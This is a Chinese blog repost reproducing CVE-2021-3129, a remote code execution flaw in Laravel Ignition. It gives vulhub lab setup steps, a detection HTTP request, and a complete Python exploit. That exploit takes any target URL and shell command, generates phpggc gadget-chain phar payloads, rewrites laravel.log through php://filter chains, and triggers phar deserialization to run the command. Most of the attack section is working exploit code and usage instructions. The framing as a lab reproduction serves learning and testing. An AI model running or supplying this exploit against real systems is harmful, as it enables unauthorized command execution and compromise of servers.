Laravel Ignition 2.5.1 代码执行漏洞
时间:2021-07-09
本文章向大家介绍Laravel Ignition 2.5.1 代码执行漏洞,主要包括Laravel Ignition 2.5.1 代码执行漏洞使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
Laravel Ignition 2.5.1 代码执行漏洞
Laravel Ignition 2.5.1 代码执行漏洞(CVE-2021-3129)
Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:
$contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents);
攻击者可以通过phar://协议来执行反序列化操作,进而执行任意代码。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/laravel/CVE-2021-3129/ docker-compose up -d
访问IP:8080/即可看到一个Laravel默认的欢迎页面。
影响版本
Laravel 框架 < 8.4.3
facade ignition 组件 < 2.5.2
漏洞复现
发送POC包,返回页面存在报错就证明存在漏洞
POST /_ignition/execute-solution HTTP/1.1 Host: ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 169 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "xxxx" } }
发现漏洞存在
我们使用EXP
import requests as req import os, uuid import sys class Exp: __gadget_chains = { "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", } # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力 __delimiter_len = 8 # 定界符长度 def __vul_check(self): resp = req.get(self.__url, verify=False) if resp.status_code != 405 and "laravel" not in resp.text: return False return True def __payload_send(self, payload): header = { "Accept": "application/json" } data = { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "cve20213129", "viewFile": "" } } data["parameters"]["viewFile"] = payload resp = req.post(self.__url, headers=header, json=data, verify=False) # print(resp.text) return resp def __command_handler(self, command): """ 因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。 """ self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。 # print(delimiter) command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter) # print(command) escaped_chars = [' ', '&', '|'] # 我只想到这么多,可自行添加。 for c in escaped_chars: command = command.replace(c, '\\' + c) # print(command) return command def __clear_log(self): return self.__payload_send( "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __gen_payload(self, gadget_chain): gen_shell = self.__gadget_chains[gadget_chain] % (self.__command) # print(gen_shell) os.system(gen_shell) with open('payload.txt', 'r') as f: payload = f.read().replace('\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码 os.system("rm payload.txt") # print(payload) return payload def __decode_log(self): return self.__payload_send( "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __unserialize_log(self): return self.__payload_send("phar://../storage/logs/laravel.log/test.txt") def __rce(self): text = self.__unserialize_log().text # print(text) echo_find = text.find(self.__delimiter) # print(echo_find) if echo_find >= 0: return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)] else: return "[-] RCE echo is not found." def exp(self): for gadget_chain in self.__gadget_chains.keys(): print("[*] Try to use %s for exploitation." % (gadget_chain)) self.__clear_log() self.__clear_log() self.__payload_send('a' * 2) self.__payload_send(self.__gen_payload(gadget_chain)) self.__decode_log() print("[*] Result:") print(self.__rce()) def __init__(self, target, command): self.target = target self.__url = req.compat.urljoin(target, "_ignition/execute-solution") self.__command = self.__command_handler(command) if not self.__vul_check(): print("[-] [%s] is seems not vulnerable." % (self.target)) print("[*] You can also call obj.exp() to force an attack.") else: self.exp() def main(): args = sys.argv url = args[1] command = args[2] Exp(url, command) if __name__ == '__main__': main()
我们在同目录下下载
https://github.com/ambionics/phpggc](https://github.com/ambionics/phpggc.git)
然后运行exp
python3 exp.py http:ip/ "命令执行语句"
注意环境需要php和python3才能运行!
原文地址:https://www.cnblogs.com/blankunbeaten/p/14990285.html
- SQL学习之联结表的使用
- 快速入门系列--WCF--07传输安全、授权与审核
- JavaScript之面向对象学习四原型对象的动态性
- Apache顶级开源项目——机器学习库MADlib简介与应用实例
- 快速入门系列--WCF--06并发限流、可靠会话和队列服务
- 以太坊创始人或将卖掉所有以太坊,以太经典ETC才是未来
- SQL学习之HAVING过滤分组
- 快速入门系列--WCF--04元数据和异常处理
- linq to sql中慎用Where<T>(Func<TSource, bool> predicate),小心被Linq给"骗"了!
- 快速入门系列--WCF--03RESTFUL服务与示例
- SQL练习之不破坏应用程序现有查询的修改模式
- 快速入门系列--WCF--02消息、会话与服务寄宿
- JavaScript之面向对象学习二(原型属性对象与in操作符)获取对象中所有属性的方法
- 快速入门系列--深入理解C#
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- 十分钟搭建自己的私有NuGet服务器-BaGet
- PHP遍历文件夹下的所有文件和文件夹
- Python 读写 csv 文件的三种方法
- 初识ABP vNext(1):开篇计划&基础知识
- 利用 urllib.request.urlretrieve 函数下载文件
- PHP中class.smtp类
- 解决PIL切圆形图片存在锯齿
- [Go] GO语言实战-为博客园增加gofly在线客服功能
- PHP表单提交参数验证类(可修改)
- Tensorflow MNIST CNN 手写数字识别
- Tensorflow 实现各种学习率衰减
- only integer scalar arrays can be converted to a scalar index
- 不再迷惑,无值和 NULL 值
- Tensorflow 读取 CIFAR-10 数据集
- 使用二维数据构造简单卷积神经网络